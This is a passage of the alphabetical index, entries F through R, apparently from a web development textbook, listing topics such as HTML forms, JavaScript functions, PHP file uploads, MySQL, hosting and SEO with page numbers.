Fail-safe design, 336

Falsy values, 346–347

Fatal errors, 696, 698

Favicon, 240

FBML, usage, 1126

fetch(), 660

fetch command, 577

Fetch functions, 658t

fgets() function, usage, 569

Fiber optic cable, 24

undersea fiber optic cables, example, 28f

Fields, 626

<fieldset> element, 199

<figcaption>, elements, 104f

<figure> element, 105, 266

Figures



captions, 103–104

elements, 104f

File content, storage, 684

file_get_contents() function, 570, 900

File location, storage, 684f

File posting, FormData (usage), 479f

file_put_contents() function, 570

Files

asynchronous posting, FormData interface (usage), 480c

checking out, 575–576

closing, 569c

committing, 574

extension, transmission, 567

formats, 231–240

in-memory file access, 569–571

input, looping, 481c

merge, 576

movement, 567–568

ownership management, 1058

reading/writing, 568–571



requests, responding to, 1062

size restrictions, 565–566

File Transfer Protocol (FTP), 44, 45, 56

File upload

control (Chrome), 193f

error checking, 565c

form, 479f, 480c

handling, PHP (usage), 562–564

HTML, requirement, 562

PHP, error codes, 564t

size, limitation

HTML, usage, 565c

JavaScript, usage, 566c

PHP, usage, 566c

type, limiting, 566–567

FileZilla, 45, 45f

Filters, 296, 1022

action, 297f

jQuery, 446, 447f, 447c

using, 297c



FireBug, 63, 64

Fixed layout, 284

example, 285f

problems, 286f

Fixed position, 261

example, 261f

Fixed positioning, 261

Flash plugins, support (loss), 327–328

Flexbox, usage, 279–283, 280f

Flickr search request (construction), function (usage), 902

Floated block-level elements, margin collapse (absence), 266f

Floating elements, 264–270

Floats

containing, 267–269

property, 264

usage, 274–277

Flow, illustration, 548f

Flow analysis, 1152, 1152f

Fluid layout, 284–285

focus event, 423



responding to, 423f

Folder, 91

Follow button, 1127

Follow Me button, 1133

Font Awesome toolkit, 422

Font family, 156–158

differences, 158f

specification, 157f

Font sizes, 158–162

Font stack, 158. See also Web font stack

Footers, 97–100

problem, solution, 279f

foreach loop, usage, 543c

Foreign keys, 628

link tables, 629f

Fork, 502

Forking, 577

for loop, 348, 520–521

example, 348f

usage, 543c



FormData

form element, 184

interface, 479–480

usage, 479f, 480c

Form events, 417, 417t, 423–424

Form-related HTML elements, 186

example, 187t

Forms, 181–186

accessibility, 196–200

array data, access, 552–553

basic HTML form, 422c

changes events, responding to, 424

control elements, 186–196

data, sending, 186

display, 550f

elements, query string data (relationship), 184f

file posting, 481c

form element, 184–186

function, 182–183

illustration, 183f



HTML, usage, 562c

JavaScript, 421–432

movement events, responding to, 423–424

processing, 550f

structure, 182

submission, 428–429

validation, 424–428

Form selectors, 447, 448t

Four-layer network model, 40–41, 40f

Fragment, 56

tag anchor, 56

Frame events, 421, 421t

Frameworks, JavaScript, 933–935, 934f

Frankfurt Internet Exchange (CE-CIX), 26

Front-end developer, 30–31

Front-end web development, 28

Full-duplex communication, 949

Full IDEs, 108–109, 110f

Full-stack developer, 32–33

Fully encapsulated Artist class, class diagrams, 606f



Function constructors, 377–379

defining and using, 377c

example, 378f

inefficient (sample), 379c–380c

Function declarations, 357

destroying, 372c

Function expression, 357

Functions, 356–379, 524–531

anonymous, 357, 358c

arrow, 363

callback, 361–362, 362f

calling, 525–526

constructors, 377–379

defined, 356–357

definition, return value (absence), 525c

easing, 463–465, 464f

example, 526c

global scope, 530

hoisting in JavaScript, 360, 361f

interface, 597



nested, 359–360, 360c

with objects, 364–365

overloading, 527

parameters, 526–530

scope, 530–531

syntax, 524–525

usage, 530–531

without return value, 359c

Function scope, 365

functions.php, 1022

fwrite() function, 569



G
Gamut, 216, 217f

General tags, 1008

Generated markup, caching, 761

Generic font families, 157

Generic top-level domain (gTLD), 48, 49

Geocoding, 896

GeoNames web service, 904, 906

getElementByID(), 882

getElementsByTagName(), 882

getElement() selection methods, 395f

GET HTTP request, vs. POST HTTP request, 476

GET method, 60

vs. POST method, 185f, 186t, 739f

get() method, 471, 472, 476

getNiceTime(), writing, 525–526

getPNG() method, 617

GET request, 59, 469–472

passage, 471



vs. POST request, 60f

getResponseHeader(), 473

getSize() method, 617

Getters, 603, 607–608

Git, 571–572

workflow, 573f

GitHub, 572

GitHub website, 36f

Global keyword, usage, 530c

Global scope, 365, 366–367, 530

variables defined in, 366

vs. local scope, 368f

Global variables

unintentional, 371c

visualizing the problem, 372f

Google

AdSense network, 1138

Analytics tool, 1151–1152, 1151f

Badge, 1131–1132

+1 button, 1130–1131



screenshot, 1131f

days before, 1077–1078

defined, 1077

JavaScript library, code (loading), 1131c

plugins, 1130–1132

search crawlers, 336

Google+

badge, addition, 1131c

combination badge, 1132f

Google bombing, 1108

Google bowling, 1108–1109

Google Maps

advanced usage, demonstration, 919–920

example, 921–925

tiles, asynchronous requests (visualization), 920f

usage, 917–925

steps, 918

Google+ pages, screenshots, 1122f

Graceful degradation

principles, 481



Gradient, 218–220

example, 219f

Graphic ads, 1137

Graphic Interchange Format (GIF), 233–238

animation, 237–238

anti-aliasing, 237f

file format, 234f

images, optimization, 236f

transparency, 237f

Grid

Bootstrap grid, usage, 308c

Material Lite grid, usage, 308c

systems, 305, 307

GROUP BY, usage, 636f

Grouped selector, 128

sample, 129c

usage, 129

GUI tool, 314f



H
H.264, 241, 242

video, 243

Hadoop, 1154–1155, 1154f

Halftones, 210

vs. pixels, 210f

Hamming distance, 1090

Handlers, 500–501

Hardware architect, 29

Hash table data structure, 641

hCard, 200

example, 201c

Head and body, 83–84

Headers, 57–59, 97–100

cells, connection, 198c–199c

textual description, 198

<heading> element, uses (demonstration), 100c

Headings, 84–86

addition, 174f



example, 100c

HEAD request, 60

height (HTML5 attribute), 178

Height property, limitations, 153f

hello.js, 942

Helper functions, 680c–681c

Helper functions for service, 914c

Hibernate, 960

Hickson, Ian, 75

Hidden content, 1105

Hidden links, 1106

hide() method, 459

Home computer, Internet hardware, 22f

Home pages, 1122

Hooks, 1021–1022

Hosting

cheapness, 1033

cloud hosting, 1036

collocated hosting, 1035–1036

dedicated hosting, 1034–1035



hardware, 1035

in-house hosting, 1036

sharing, 1031–1034

Hosting companies, 33

Hosts, 46–47

header, 57

Hot-linking, 1066

Hover effect, 181f

href (default), 1131

HSB color model, 216

.htaccess, 993, 998

htaccess files, 1066–1068

html() method, 449

HTTPOnly cookie, browser support, 744

HTTP POST, usage, 548

HTTP_REFERER header, 561

usage, 561c

HTTP_USER_AGENT

usage, 561

Hue Saturation Lightness (HSL) color model, 216–218



example, 217f

Human–computer interaction (HCI), 31

Hyperlinks, query strings (usage), 553–554

Hypertext Markup Language (HTML), 7

attributes, 76, 449

canvas, 246–247

element, 246

date/time controls, 196t

definition, 70–75

divisions, 86–87

documents

outline, 77f

presentation, 118

structure, 80–84

DOM Element Properties, 398t

DOM manipulation, 456c

editor, 107

elements, 76, 84–97

nesting, 77–78, 78f

parts, 76f



form

data flow, 549f, 563f

example, 422c

form, sample, 182f

form-related HTML elements, 186, 187t

headings, 84–86

links, 88–89

paragraphs, 86–87

PHP

alternation, 510

combination, 518c

presentation markup, 78

properties, 449–450

semantic markup, 78–80

structure, visualization, 79f

syntax, 76–78

validators, 73, 74f

XHTML, 72–74

XHTML 1.0, 72

Hypertext Markup Language version 5 (HTML), 74–75



articles, 101–103

asides, 105

browser validation, 719f

details and summary, 105, 106f

div-based XHTML layout, 98f

documents, 81f

outlines, 87f

presence, 86f

sample, 85f

figures/captions, 103–104

head and body, 83–84

headers/footers, 97–100

main, 101

navigation, 100, 101f

sections, 101–103

semantic structure elements, 97–111

sample layout using, 99f

shiv, 105

structure elements, 81f

validation, 716–717



web storage, 757–760

Hypertext Markup Language version 5.1 (HTML), 107

details and summary, 105, 106f

Hypertext Transfer Protocol (HTTP), 7, 44, 45, 56–61

caching, 1068

constraints, 738

header, 57–59, 185

user-agent string, access, 560

illustration, 57f

normal HTTP request—response loop, 429–431, 430f, 431f

request, 59

methods, 59–60

response codes, 60–61, 61t

variables, 185

Hypervisors, 1038–1039, 1038f



I
IBM Enterprise Content Management (ECM), 978t

IDE. See Integrated Development Environment

Identity, 899

Id selectors, 130–131, 444

example, 131c

if … else statement, 517–519

usage, 518c

IIFE (immediately-invoked function expressions), 374–376

Image placeholder services, 298

Images, 94–95

color depth

possibilities, 224t

visualization, 224f

concepts, 222–231

data (storage), BLOBs (usage), 685f

enlargement vs. reduction, 226f

GIF images, optimization, 236f

size, 223–227



white-hat SEO, 1103

Images, digital representations, 210–213

<img> element, 95f

Immediately-invoked function expressions (IIFE), 374–376

in_array($needle, $haystack), 547

Include files, 521–522

example, 522f

include_once statement, 522

Indexed Sequential Access Method (ISAM), usage, 639

Indexes/indexing, 574, 641–642, 1079–1080, 1084–1086

visualization, 642f, 1085f

index.php, 999, 1023

Information, passing

query strings, usage, 738–739

URL path, usage, 740–741

Information architect, 31

Information commands, 575

Infrastructure as a Service (IaaS), 1042

Inheritance, 138, 608–615

display, 609f



examples, 139f

Inherit value, usage, 140f

In-house hosting, 1036

example, 1036f

Inline elements, 253–254

block elements, combination, 255f

example, 254f

nonreplaced inline elements, 254

replaced inline elements, 254

Inline event handler, approach, 408, 409f

Inline hooks, differences, 409f

Inline HTML elements, 86

Inline JavaScript, 331

example, 331c

Inline text elements, 94

In-memory approach, 882

In-memory file

access, 569–571

functions, 570t

inner join, 633–634



usage, 635f

In-page analytics, 1153, 1153f

Input agents, 1079

Input elements, labels (association), 199f

Input masks, usage, 715f

INSERT statement, 636

example, 637f

Instance, 585

Instantiation, 595

Integers, values, 541f

Integrated Development Environment (IDE), 45, 588–589

built in linting/validation, 590

code completion, 589, 590f

code formatting, 589

full, 108–109, 110f

remote workspace integration, 591–592

version control, 593

Interfaces

determination, 619–620

implementation, example, 618c–619c



object interfaces, 617–620

Internal analytics, 1149

Internal monitoring, 1070–1071

Internal redirection, 1063, 1064–1065

Internal Web development, 35

Internationalized top-level domain name (IDN), 49

Internet

hardware, example, 22f

hosts/servers, growth, 8f

layer, 41–42

location, 21–28

network, packet switching example, 6f

ocean communication, 27–28

protocols, 40–44

vs. intranet, 10f

Web subset, 4f

Internet Assigned Numbers Authority (IANA), 43

root server authorization, 53

Internet Corporation for Assigned Names and Numbers (ICANN),
49–50

Internet exchange points (IX) (IXP), 25–26, 1034



examples, 26f, 27f

usage, 25f

Internet Explorer (IE), JavaScript support, 328

Internet Explorer version 6 (IE6), 231

Internet Information Services (IIS), 66, 496

Internet Message Access Protocol (IMAP), 44

Internet Protocol (IP), 41

Internet Protocol (IP) address, 41–42, 41f

receiving, 53

returning, 560

Internet Protocol version 4 (IPv4), 42, 42f

Internet Protocol version 6 (IPv6), 42, 42f

Internet service provider (ISP), 52

requests, 24

Internet Systems Consortium, basis, 8f

Interoperability, provision, 892

Interpolation, 225f

algorithms, 228f

Interstitial ad, 1136–1137

Intranet, 9–10



external access protection, 9

vs. Internet, 10f

iPad retina displays, 230

IPv4 (Internet Protocol version 4), 42, 42f

IPv6 (Internet Protocol version 6), 42, 42f

isset(), usage, 545

example, 551c

vs. query string parameters, 697f

Items, display, 554f



J
Java applets, 327, 327f

JavaScript, 28, 64, 70, 933

advanced inclusion of, 333

arrays, 348–352

with indexes and values illustrated, 351f

catch, usage, 349

client-side scripting, 324–325

comparator operations, 346t

conditionals, 343–347

in contemporary software development, 329–330, 329f

data types, 338–340

definition, 323–330

DOM (see Document Object Model (DOM))

embedded, 331–332

and employment, 936–937

events, 408–414

types, 415–421

exceptions, throwing, 349



external, 332

external JavaScript

files, 84, 91

external web services (interaction), 911

forms, 421–432

frameworks, 330

front-end frameworks, 933–935, 934f

functions, 356–379, 524–531

Google AdSense, advertisement, 1138

history, 328

hoisting in, 360, 361f

identifier, 338

inline, 331

JavaScript-based autocomplete solutions, variety, 189

jQuery, 440–453 (see also jQuery)

JSON, usage, 890–891

loops, 347–348, 352

object prototypes, 379–385

objects, 352–356

orientation, 323



output methods, 341–343, 341t

performance evaluation in Chrome browser, 407f

programming/parsing, 77

progression, 330–336

properties in, 353

reference types, 340

scope in, 365–374

selection, jQuery vs., 443c, 444c

server frameworks, 935 (see also Node.js)

strict mode, 378–379

symbols, 338

tools, 405–407

truthy and falsy values, 346–347

try, usage, 349

usage, 182

users without, 333–336

validation, 717–720

example, 718f, 721c–723c

level of, 720–723

variables in, 336–338



declaration and assignment, 336–337, 337f

dynamically typed, 336

undefined, 336

Web 2.0 and, 328–329

XML data representation, 890c

XML processing, 882–885

JavaScript AJAX techniques, 963

JavaScript fatigue, 933

JavaScript-heavy web applications, complications, 326

JavaScript Lint tools, 345

JavaScript Object Notation (JSON), 889–892

example process, 905f

geocoding request return, 906c

GeoNames request return, 907c

map request form, 907f

sample, 889f

string, usage, 906

usage, 890–892

web service

consumption, 904–911



JavaScript Object Notation (JSON ), 356

JavaScript-only API, usage, 757

Java Server Pages (JSP), 496

Jobs, in web development, 28–36

Join

inner join, usage, 633–634, 635f

Joint Photographic Experts Group (JPEG), 231–232

artifacts, 232f

artwork, relationship, 233f

file format, 232f

Joomla!, 978t

jQuery, 330

AJAX post, headers (addition), 478c

animation and effects, 459–465

fading, 459, 460f

raw animation, 461–465

shortcuts, 459–461

sliding, 460, 461f

toggle methods, 461

element manipulations in, 447–450



email link building, 460c

event handling in, 450–453

vs. JavaScript equivalents, 451c

filters, 446, 447f, 447c

foundations, 440–450

loading using a CDN, 442c

nodes, creating, 453–454, 454c

selection, JavaScript vs., 443c, 444c

selectors, 442–447, 448t

illustration, 445f

usage, 884c

using, 441–442, 442c

working with (example), 458

jqXHR object, 472–475

response code reaction, sequence diagram, 474f

usage, 475c

JS API, 1125c

JSHint, 406, 407f

JSLint, 406

JSON. See JavaScript Object Notation



json_encode() function, 913

JSONSerializable interface, 915

Just-In-Time (JIT) compiler, usage, 496



K
KeepAlive, 1054

KeepAliveTimeout, 1055

Keyboard events, 415–416, 415t

Keyframe, 302

Keys, assignation, 540f

Key-value array, visualization, 539f

Key-value stores, NoSQL, 643

Keyword stuffing, 1104–1105

KineticJS, 246

Koala, 314



L
<label> element, 199

Labels, input elements (association), 199f

LAMP (Linux-Apache-MySQLPHP), 935

Laravel, 935

Last-Modified, 59

header, 761

Layered architecture, 40–41

Layout

creation, <div> elements (usage), 90f

CSS, usage, 178

fixed layout, 284

fluid layout, 284–285

liquid layout, 284–285

multicolumn layouts, construction, 274–283

responsive design, 285, 288–295

tables, usage, 176–178

tables, usage (example), 177f

three-column layout, creation, 276f



nested floats, usage, 277f

two-column layout, creation, 275f–276f

left properties, 256

Lempel-Ziv-Welch (LZW) compression, 233

Lexical scope, 368

Libraries, 332

Lightness, 216

Lightweight Directory Access Protocol (LDAP), 17

Like button, 1124–1126

insertion, HTML5 markup (usage), 1125c

LIKE operator, 711

query generation, 673

Lines, opening/reading, 569c

Link farms, 1107

Link layer, 41

Link pyramids, 1107–1108

Links, 88–89, 1122

components, 88f

creation, anchor element (usage), 89

destinations, 89f



styling, pseudo-class selectors (usage), 135c

Link spam, 1106–1108

Linter, 406

Linux

configuration, 1049–1059

connection management, 1053–1054

daemons, 1051–1053

operating system, 65

URL rewriting, 740–741

usage, 499f

web development stack, benefits, 506

web server, 499–501

Linux, Apache, MySQL, PHP (LAMP)

code, 499

software stack, 65, 67

Linux shell script, 1056–1057

Liquid layout, 284–285

example, 287f

Listeners, 408

approach, 410–411, 410c



Lists, 96–97

elements, default rendering, 96f

select lists, 190–191

Literals, 705–706

Load balancers, 18

configuration, 756

Load times, distribution, 63f

Local development, 506–507

Local DNS server

address knowledge, 53

request, 51–52

Local Internet provider, Internet hardware, 22f

Local provider

computer, relationship, 22–24

ocean's edge, relationship, 24–27

Local repository, 573

Local scope, 365, 367–370

variables defined in, 365–366

vs. global scope, 368f

Local transactions, 638–639



Location, example, 144f

log_errors setting, 700

Logos, 1122

Log rotation, 1071

London Internet Exchange (LINX), 26

Loops, 347–348, 352

control variable, 347

Loosely typed variables, 511

Lossless compression, 233, 238

Lossy compression scheme, 232

Lynx, usage (example), 334f



M
Magic methods, 597

Mail campaigns, schedule, 1144–1145

Mail Exchange (MX) records, 1048

Mail records, 1048

Mail servers, 17

<main> element, 101

Many-to-many relationship, 629–630

implementation, 630f

MapOptions object, 919

Mapping page, PHP (usage), 908c–910c

Mapping records, 1047–1048

Map request format, 907f

Margins, 147–149

usage, 149f

Marketing

campaigns, 1140–1146

physical world marketing, 1145–1146

Markup, 70



Mashup, 895

Master head-end, connection, 24

Material Lite grid, usage, 308c

Materials Lite classes, usage (examples), 306f

Mathematics, for complex questions, 1092–1095

MAX_FILE_SIZE, 565, 566

MaxKeepAliveRequests, 1055

MEAN software stack, 65, 66

MEAN stack, 935

Media

concepts, 241–242

container, 242f

encoding, 241, 242f

servers, 17

Media access control (MAC) addresses, 41

Media queries, 290–292

action, 293f

browser features, examination, 292t

sample, 292f

syntax, 291



memcache, usage (example), 763c–764c

Memory cache, 1068

Menu control, 983

<menu> element, 107

<menuitem> element, 107

merge command, 576

Metacharacters, regular expressions, 706, 706t

Metaphone, 1089, 1090t

Methods, 596–598

defined, 340

example, 597c

inheritance, 615

magic methods, 597

Metrics, 1149

Microformats, 200–203

example, 201f

Microsoft Internet Explorer, 70

MIME (multipurpose Internet mail extensions), 913, 1063

Minification, 333

Mobile first design, 287



Modifier, 309

Modular jQuery code, jqXHR object (usage), 475c

Module, 500, 943

Module pattern, 376

Monetization, 1121

site monetization, 1136–1140

MongoDB, 17, 935, 953

accessing data in Node.js, 960–962

data model, 957, 957t

relational databases and, 958f

features, 953–956

SQL query and MongoDB query, 960f

web service using Mongoose and MongoDB, 961–962c

working with MongoDB shell, 957–960, 959f

MongoDB database, 65, 66

Mongoose, 960

Monitoring, Web, 1070–1072

external, 1072

internal, 1070–1071

Monitor size, impact, 229f



Moodle, 978t

Mosaic, 7

Mostly Fluid pattern, 294

Mouse events, 415, 415t

Movement events, 423–424, 423f

move_uploaded_file() function, usage, 568c

MP4 container, 243, 245

mp3 file extension, 244

multicolumn layouts, construction, 274–283

Multidimensional arrays, 541–542

example, 541c

visualization, 542f

Multilevel XML file, code complication, 887

Multiline comments (block comments), 510–511

Multipart email message (encoding/emailing), PHP function (usage),
1142c–1143c

Multiple domains

management, web server, 1059–1061

Multiple file input, 480

Multiple floats, problems, 267f

Multiple items, floating, 266



Multiple master replication, 956, 956f

Multi-process mode (preforked mode), 501–502

multi-threaded mode, differences, 501f

Multipurpose Internet Mail Extensions (MIME), 245

Multi-threaded mode (worker mode), 501–502

multi-process, differences, 501f

Mutators, 603

MVVM (Model-View-ViewModel), 963

MyISAM, usage, 639

MySQL, 17, 502, 625

access, 651–668

APIs, 646

command-line interface, 647–649

command-line tool, interactions (screenshot), 648f

database, 65

management, 647–651

usage, 631–632

extension, 646

installation, 506–507

prepared statements, 663–665



regular expressions, 711

Server, 66

workbench, 650

example, 651f

mysqli

extension, 646

usage, 652c



N
name (string), 562

Named parameter, 663–664

usage, 664c

Name server (NS)

administration, 1043–1049

checking, 1046

records, 1048

update, 1046

Namespace conflict problem, 367

Naming conventions, 309–310, 602

National networks, Internet exchange points (usages), 25f

nav, example, 101c

Navigation, 100

Nested functions, 359–360, 360c

Netscape Navigator, 7, 70

Network Access Point (NAP), 25

Network architect, 29

Networks, connection, 25f



Newsfeeds, 1126–1127

Next-hop routing, 23–24

Nginx, 66

960 framework, 305

Node.js, 496, 935, 937

architecture of, 937–942

blocking approach, 939f

nonblocking single-thread architecture, 940f

Express in, use of, 945–949, 946f

supporting WebSockets with, 949–952

use of, 942

working with, 942–944

Hello World, 942f

running Hello World example, 943f

static file server, 943, 944f

node.js, 65

NodeLists, DOM, 393

Nodes

reference, 880

Nodes, DOM, 393, 393f



creating, 453–454

in JS vs. jQuery, 454c

object properties, 394t

Nonreplaced inline elements, 254

Nonsequential keys, illustration, 545c

Nontechnical roles, 32

Normal flow, 253–256

Normal HTTP request—response loop, 429–431, 430f, 431f

<noscript> tag, 335–336

NoSQL database, 66, 632, 642–645

column stores, 645

document stores, 643–644

key-value stores, 643

row vs. column wise stores, 645f

storage, relational vs., 644f

Notation

dot, 340

object literal, 350, 353–354

Notification, user input validation, 712

npm (Node Package Manager), 943, 945



npmjs.com website, 945

Null coalescing operator, 552

NULL value, return, 544

Number

input controls, 194f

specialized control, 193–194

validation, 427–428

Numeric value (testing function), 428c

http://npmjs.com


O
Object literal notation, 350, 353–354

Object-oriented analysis and design (OOAD), 587

Object-oriented API, 646

Object-oriented design, 602–620

Object-oriented exception handling, 701–704

Object-oriented languages, 323, 340

Object-oriented overview, 585–588

Object prototypes, 379–385

Objects, 352–356, 1128

built-in, 340

classes, relationship, 585f

coercion of primitives, 354c

creation

constructed form, 354–356

object literal notation, 353–354

Element Node, 397–398, 398t

event, 411–413

fetching, 658–660



functions with, 364–365

instantiation, 595

interfaces, 617–620

lifetime, 588f

methods, 596–598

with methods, 364c

nested within other objects, 355c

population, 659c

properties, 595

serialization, 746–748

structure, 585

Oceans

edge, local provider (relationship), 24–27

Internet communication, 27–28

Off Canvas pattern, 295

OGG, 243, 245

Ogg container, 243

One-to-many relationship, 629

diagramming, 630f

One-to-one relationship, 629



One-way contact, 1121

One-way hash, 556

Online color scheme tools, 223f

Online PHP development environment, 507, 508f

Online portfolio, 35–36

On-line testing tool (Google), 203

Opacity, 218

settings, 218f

specification, 219f

Opcodes, 496

Open Directory Project (Dmoz.org), 1078f

Open Graph (OG)

actors/apps/actions/objects, 1128f

Debugger, 1129f

Markup, 1129c

meta tags, 1128–1130

Objects, creation, 1128

semantic tags, usage, 1128

tags, relationship, 1130f

Open Group (XA standard), 640



Operating systems, 29, 65–66

<optgroup> element, 190

<option> element, usage, 190–191

Oracle, 17

Ordered lists, 96

Ordered map, 539

ORM (Object-Relational Mapping) framework, 960

OSX MAMP software stack (Apple), 65

Output

components, 517f

flexibility, improvement, 118

writing, 514–515

Output methods

JavaScript, 341–343, 341t

Overflow property

example, 153f

usage, example, 269f

Overloading, 527



P
Packets, 5

Packet switching, 4–5, 5f, 6f

Padding, 147–149

usage, 149f

Page, 979

tags, 1009

template, creation of, 1009–1011

in WordPress, 996

PageRank, 1080, 1086–1089

Pages

download speed, improvement, 118

output, 918c–919c

output caching, 761–763

example, 762f

Page type template to plugin, conversion of, 1022

Page Views, 1149

Pagination tags, 1012–1013

Paid links, 1105



Palo Alto Internet Exchange (PAIX), 26

Paragraph properties, 162–164

Parameters, 526–530

default values, 527

named parameter, 663–664

passed by reference, 526, 528

passing, 527–528

passing by value, example, 528c

working with, 661–665

Parent constructors, 615

Parent containers, disappearance, 268f

Pass by reference, 529f

Pass by value, 529f

Passed by reference, 528

Passed by value functions, 527

Path, 55

Pathnames, 91, 92f

Pattern attribute, usage, 189f

PDO::ERRMODE_EXCEPTION, 655

PDO::ERRMODE_SILENT, 655



PDO::ERRMODE_WARNING, 655

PEAR (PHP project), 602

Peer-to-peer alternative, 16

Peer-to-peer model, 17f

Percents, calculation (complications), 160f

Perl, 496

Permalinks, 998

Permissions, 1058

Persistent cookie, 742

Persistent cookie, best practices, 744–745

Phone number validation script, without regular expressions, 709c–710c

Photo database schema, 669f

Photo sharing database, 669

Photoshop, usage, 225

php.ini configuration, 757c

phpMyAdmin, 649–650

example, 649f

installation, config.inc.php file (excerpt), 650c

Physical campaigns, tracking, 1146

Physical world marketing, 1145–1146



<picture> element, 295, 296f

Pixels, 210

device, 230

device-independent, 230

in high-density displays, 230f–231f

physical size/spacing, 229

reference pixel, 230

vs. halftones, 210f

placeholder attribute, 714

usage, 189

Plain object, 476

Platform as a Service (PaaS), 1042

Playable interface, 618c–619c

Plugin, 997–998

activation of, 1022

output of, 1023

Plugins

Facebook

newsfeed items, relationship, 1124f

social plugins, 1123–1128



Google plugins, 1130–1132

Twitter widgets, 1132–1135

+1 button, 1130–1131

Pointer (PTR) record, 1049

Polyfill, 106

Polymorphism, 615–616

usage, example, 615c–616c

Port, 55. See also Uniform Resource Locator

Portable Network Graphics (PNG)

format, 238

transparency, 239f

Portal API, 1121

Portfolio, 35–36

Ports, 1055

Position

fixed position, 261

values, example, 256t

Positioning

absolute positioning, 257–258

context, creation, 270–271



elements, 256–263

relative positioning, 256–257

usage, 277–279

example, 278f

position property, 256

POST files, appending, 480

PostgreSQL, 66, 625

POST HTTP request, vs. GET HTTP request, 476

POST method

jQuery, usage, 675–676

vs. GET method, 185f, 186t, 739f

Post Office Protocol (POP), 44

POST request, 60

vs. GET request, 60f

POST requests, 475–477

Posts, 979

custom post type, creation of, 1013–1020

in WordPress, 996

Post tags, 1011–1013

category tags, 1012



pagination tags, 1012–1013

Preforked mode (multi-process mode), 501–502

Prehypertext processor (PHP), 17, 28, 496

Apache, relationship, 500f, 501–502

classes, 594–602

codes

appearance, 567

usage, 553c

coding, 510

comments, 510–511, 511c

concatenation, approaches, 515c

constants, 513c

core, 502

data types, 512t

error and exception handling

custom error and exception handlers, 704–705

object-oriented, 701–704

procedural approach, 701

error reporting, 698–700

display_error setting, 699



error_reporting setting, 699

log_errors setting, 700

errors

codes, 564t

examination, 509–517

example, 523

form validation, 725–726c

hosting (local) web server, 504f

HTML

alternation, 510

combination, 518c

installation, 506–507

internals, 502–503

JSON, usage, 891–892

mapping page usage, 908c–910c

market share, 497

MySQL access, 651–668

MySQL APIs, 646

objects, 594–602

online development environment, 507, 508f



open-source project, 602

pages

MIME value, 913

usage, 184

quote, usage, 515c

regular expressions, 705–711

running from command line, 505–506, 505f

scripting language, 65

scripts

impact, 661

writing, 564

session state, availability, 749

Simple crawler class in, 1081c

string literals, 512

tags, 509–510, 509c

usage, 499f, 562–564

validation, 723–728

variable names, 513

web services, consumption, 900–911

Prehypertext processor data object (PDO), 646



abstraction layer, 647

exception modes, 655

setting, 655c

PDO, 653c

Prepared statements, 663–665

usage

mysqli, usage, 665c

PDO, usage, 664c

Preprocessors, 311–314

GUI alternative to using, 314f

using, 312f, 313f

Presentation

defining, 118

Presentation-oriented markup, elimination, 79–80

preventDefault() method, 412

Primary heading, 86

Primary key, 626

Primitive types, 338, 339t

vs. reference types, 339f

Print design, grid (usage), 307f



printf function, 516–517

printf statement, components, 517f

Prioritization, 1082–1083

Private corporate intranet portals, 977

Private registration, 1045

third-party usage, 1045f

Procedural API, 646

Procedural approach, error handling, 701

Process, 499–500

processAuthorFormInfo() function, 679

Program control, 517–523

Programmers, 30

Progressive enhancement, 292

principles, 481–483

site with, 482f

Project/application/class outline views, 592, 592f

Project manager/product manager, 32

Properties, 408, 585

encapsulated class, 603

event, using, 409–410, 409c



height property, limitations, 153f

in JavaScript, 353

modification, setter methods (usage), 603

in object-oriented languages, 340

objects, 595

series, 120

static member, 599–600, 601f

types, 121t–122t

usage, 121

visibility, 598–599

prop() method, 50

Protected access modifier, 610f

Protocol, 40, 54. See also Uniform Resource Locator

suite, 4

Prototypes

built-in object using, 382c

defined, 380

illustration, 381f

object, 379–385

property, usage, 382f



use to extending other objects, 382–383

using, 380–381, 380c

Pseudo-class selector, 134–136

types, 134t

usage, 135c

Pseudo-element selector, 134–136

types, 134t

Pseudo-element selectors, 446

Public redirection, 1063–1064

Pull approach, 882

pull command, 577

Push-based web applications, 937

examples of, 938, 938f

Python, 67, 496



Q
QR codes, 1145–1146

example, 1145f

usage, 1146f

Quality assurance (QA), 31

Query

execution, 656

data return, absence, 656c

generation, LIKE operator (usage), 673

results, processing, 656–660

term, usage, 633

user input, integration, 662c

query() method, object return, 658

querySelectorAll method, 396f

querySelector method, 396f

Query server, 1080

Query strings, 56, 183–184

components, 56f

data, 184f



checking, isset() (usage), 551c

parameters, 697f

sanitization, 553–556

testing, 697c

usage, 553–554, 738–739

example, 554f

values, sanitization, 555c

Quirks mode, 82



R
Radio buttons, 191

example, 191f

Range

input controls, 194f

specialized control, 193–194

Raster editors, example, 212f

Raster images, 211, 211f

resizing, 213f

Raw AJAX method code, usage, 477c

Raw animation, 461–465

easing functions, 463–465, 464f

Raw data, output, 686f

Raw files, saving/displaying, 683–687

React, 934, 934f

React Native, 934–935

readyState (integer), 474

Real-world server installations, 18–20

Reciprocal contact, 1121



Recommendations (W3C production), 71, 103

Record editor

form, program flow, 678f

program flow, 676f

Records, 626

authoritative, 1048

CName, 1048

DNS record types, 1047–1049

editing, 676–683

mail, 1048

mail exchange (MX), 1048

mapping, 1047–1048

name server, 1048

pointer (PTR), 1049

SOA, 1048

SPF records, 1048

TXT records, 1048

validation, 1048

Red-Green-Blue (RGB), 214–215

color model, example, 214f



colors, selection, 215f

Reduction, vs. enlargement, 226f

Refactoring, 591

Reference pixels, 230

Reference types, 338, 340

vs. primitive types, 339f

REGEXP operator, 711

Regional Internet Registries, 43

Regional networks, Internet exchange points (usages), 25f

Regular expressions, 705–711

common patterns, 707t

defined, 705

extended example, 708–711

literal, 705–706

metacharacters, 706, 706t

phone number validation script without, 709c–710c

syntax, 705–706, 1064

web-related, 710t

Relative positioning, 256–257

example, 257f



usage, 270f

Relative referencing, 91

sample, 93t

Relative units, 123, 125

REMOTE_ADDR, usage, 560

Remote repository, 574–575

Remote workspace integration, 591–592

Rem units, usage, 160f

Rendering, webpage, 63

Replaced inline elements, 254

Repository

local, 573

remote, 574–575

Representational State Transfer (REST)

REST-based web service, 899

services, 895–896

example, 896f

Request, 15

header, 57–58

information keys, 560–561



relationship, 559f

methods, 59–60

Request for Comments (RFC), 7

REQUEST_METHOD key, usage, 560

Request-response loop, 15–16

examples, 16f

required attribute, 189

require_once statement, 522

Resig, John, 440

Resource Description Framework (RDK), 14

Resources, freeing, 660–661

Response, 15–16

codes, 60–61, 61t

jqXHR object reaction, sequence diagram, 474f

headers, 58–59

responseText, 474

responseXML, 474

Responsive design, 118, 119f, 285, 288–295

components, 288–289

patterns, 293–295, 294f



<picture> element and, 295, 296f

viewports, setting, 289–290

Responsive layouts

example, 288f

Result Order, 1086–1089

Result set, 633

fetching, 657f

looping, examples, 657c

objects, population, 659c–660c

return, 656

